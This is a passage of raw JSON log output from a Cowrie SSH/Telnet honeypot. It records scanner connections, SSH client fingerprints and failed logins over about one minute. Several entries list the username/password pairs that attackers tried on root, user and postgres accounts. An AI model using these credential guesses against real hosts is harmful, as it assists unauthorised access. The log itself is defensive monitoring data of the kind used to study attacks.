{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":44105,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a1931f759a1","protocol":"ssh","message":"New connection: 205.254.166.101:44105 (159.203.135.109:22) [session: 9a1931f759a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:03.632548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:03.641002Z","src_ip":"205.254.166.101","session":"9a1931f759a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:03.668658Z","src_ip":"165.22.63.98","session":"11761f5540bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39206,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e58c67d7d1","protocol":"telnet","message":"New connection: 134.209.8.29:39206 (159.203.135.109:23) [session: c9e58c67d7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:03.787351Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:03.852504Z","src_ip":"205.254.166.101","session":"9a1931f759a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lz@123456","message":"login attempt [root/lz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:04.657408Z","src_ip":"165.22.63.98","session":"11761f5540bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@wsx","message":"login attempt [user/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:04.685688Z","src_ip":"205.254.166.101","session":"9a1931f759a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":56076,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba2bb78a06d0","protocol":"telnet","message":"New connection: 66.111.11.103:56076 (159.203.135.109:23) [session: ba2bb78a06d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:04.758335Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ea4ae095945","protocol":"telnet","message":"New connection: 66.111.11.103:56904 (159.203.135.109:23) [session: 7ea4ae095945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:05.068895Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:05.905467Z","src_ip":"205.254.166.101","session":"9a1931f759a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:05.911433Z","src_ip":"165.22.63.98","session":"11761f5540bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.163731575012207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:08.168357Z","src_ip":"66.111.11.103","session":"29fa67955b99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672173500061035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:08.691553Z","src_ip":"66.111.11.103","session":"05ad473ceb7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":32794,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d00a8daa36","protocol":"telnet","message":"New connection: 66.111.11.103:32794 (159.203.135.109:23) [session: 89d00a8daa36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:12.695844Z"}
{"eventid":"cowrie.session.closed","duration":120.00096774101257,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:12.967343Z","src_ip":"134.209.8.29","session":"c7e46773008d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02432942390442,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:18.801318Z","src_ip":"134.209.8.29","session":"a091a9da60a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":44380,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e1ea886c7f2","protocol":"ssh","message":"New connection: 148.216.28.11:44380 (10.17.0.5:22) [session: 3e1ea886c7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:19.147729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:19.153116Z","src_ip":"148.216.28.11","session":"3e1ea886c7f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:19.223084Z","src_ip":"148.216.28.11","session":"3e1ea886c7f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234qwer","message":"login attempt [user/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:19.523576Z","src_ip":"148.216.28.11","session":"3e1ea886c7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:20.595227Z","src_ip":"148.216.28.11","session":"3e1ea886c7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36008071899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:21.814623Z","src_ip":"66.111.11.103","session":"7e8d20101ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56354,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfaa2cf75e51","protocol":"telnet","message":"New connection: 134.209.8.29:56354 (159.203.135.109:23) [session: dfaa2cf75e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:21.826532Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":38644,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ea3a9933f60","protocol":"telnet","message":"New connection: 66.111.11.103:38644 (159.203.135.109:23) [session: 9ea3a9933f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:22.842816Z"}
{"eventid":"cowrie.session.closed","duration":31.349663019180298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:23.328713Z","src_ip":"194.233.64.34","session":"7f1d466a9c7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143699884414673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:24.076774Z","src_ip":"66.111.11.103","session":"9bb652382970","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.168.113.92","src_port":11752,"dst_ip":"10.17.0.5","dst_port":23,"session":"99455b13859e","protocol":"telnet","message":"New connection: 45.168.113.92:11752 (10.17.0.5:23) [session: 99455b13859e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:25.550206Z"}
{"eventid":"cowrie.session.closed","duration":30.475507259368896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:27.318246Z","src_ip":"66.111.11.103","session":"108757b4847a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964491844177246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:29.327885Z","src_ip":"66.111.11.103","session":"41eaf6709aa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":42632,"dst_ip":"159.203.135.109","dst_port":23,"session":"723fa28d2bdd","protocol":"telnet","message":"New connection: 66.111.11.103:42632 (159.203.135.109:23) [session: 723fa28d2bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:29.563175Z"}
{"eventid":"cowrie.session.closed","duration":31.080702781677246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:29.711548Z","src_ip":"66.111.11.103","session":"1930c5f9180f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":56238,"dst_ip":"10.17.0.5","dst_port":22,"session":"c854e13306b1","protocol":"ssh","message":"New connection: 34.135.200.178:56238 (10.17.0.5:22) [session: c854e13306b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:31.097041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:31.101315Z","src_ip":"34.135.200.178","session":"c854e13306b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:31.141538Z","src_ip":"34.135.200.178","session":"c854e13306b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgresff","message":"login attempt [postgres/postgresff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:31.309610Z","src_ip":"34.135.200.178","session":"c854e13306b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:32.347672Z","src_ip":"34.135.200.178","session":"c854e13306b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.13045644760132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:35.199213Z","src_ip":"66.111.11.103","session":"7ea4ae095945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648468494415283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:35.406693Z","src_ip":"66.111.11.103","session":"ba2bb78a06d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"bed144f0672f","protocol":"telnet","message":"New connection: 66.111.11.103:46922 (159.203.135.109:23) [session: bed144f0672f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:36.922802Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58040,"dst_ip":"159.203.135.109","dst_port":23,"session":"2140ff72f5d6","protocol":"telnet","message":"New connection: 134.209.8.29:58040 (159.203.135.109:23) [session: 2140ff72f5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:37.756750Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47648,"dst_ip":"159.203.135.109","dst_port":23,"session":"76852d919549","protocol":"telnet","message":"New connection: 66.111.11.103:47648 (159.203.135.109:23) [session: 76852d919549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:38.354886Z"}
{"eventid":"cowrie.session.closed","duration":12.81222152709961,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:38.362329Z","src_ip":"45.168.113.92","session":"99455b13859e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":48658,"dst_ip":"159.203.135.109","dst_port":23,"session":"913b6d9f6a9e","protocol":"telnet","message":"New connection: 66.111.11.103:48658 (159.203.135.109:23) [session: 913b6d9f6a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:40.920078Z"}
{"eventid":"cowrie.session.closed","duration":42.97323775291443,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:42.333147Z","src_ip":"134.209.8.29","session":"99b90e8b6f33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.443366765975952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:43.139092Z","src_ip":"66.111.11.103","session":"89d00a8daa36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":50864,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d46c555ba8b","protocol":"telnet","message":"New connection: 66.111.11.103:50864 (159.203.135.109:23) [session: 3d46c555ba8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:43.629028Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35536,"dst_ip":"159.203.135.109","dst_port":23,"session":"9430e6ed558d","protocol":"telnet","message":"New connection: 134.209.8.29:35536 (159.203.135.109:23) [session: 9430e6ed558d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:44.643986Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":53158,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6c3a8993657","protocol":"ssh","message":"New connection: 94.156.152.18:53158 (10.17.0.5:22) [session: e6c3a8993657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:47.373201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:47.378186Z","src_ip":"94.156.152.18","session":"e6c3a8993657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:47.516669Z","src_ip":"94.156.152.18","session":"e6c3a8993657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN8VCPU16GBAMD","message":"login attempt [root/QUEEN8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:47.918997Z","src_ip":"94.156.152.18","session":"e6c3a8993657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:49.055068Z","src_ip":"94.156.152.18","session":"e6c3a8993657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5705509185791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:53.413250Z","src_ip":"66.111.11.103","session":"9ea3a9933f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56658,"dst_ip":"159.203.135.109","dst_port":23,"session":"29e9df30555e","protocol":"telnet","message":"New connection: 134.209.8.29:56658 (159.203.135.109:23) [session: 29e9df30555e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:53.425127Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":45910,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e32e631a5f6","protocol":"ssh","message":"New connection: 147.50.231.135:45910 (10.17.0.5:22) [session: 3e32e631a5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:54.050188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:54.055241Z","src_ip":"147.50.231.135","session":"3e32e631a5f6","protocol":"ssh"}
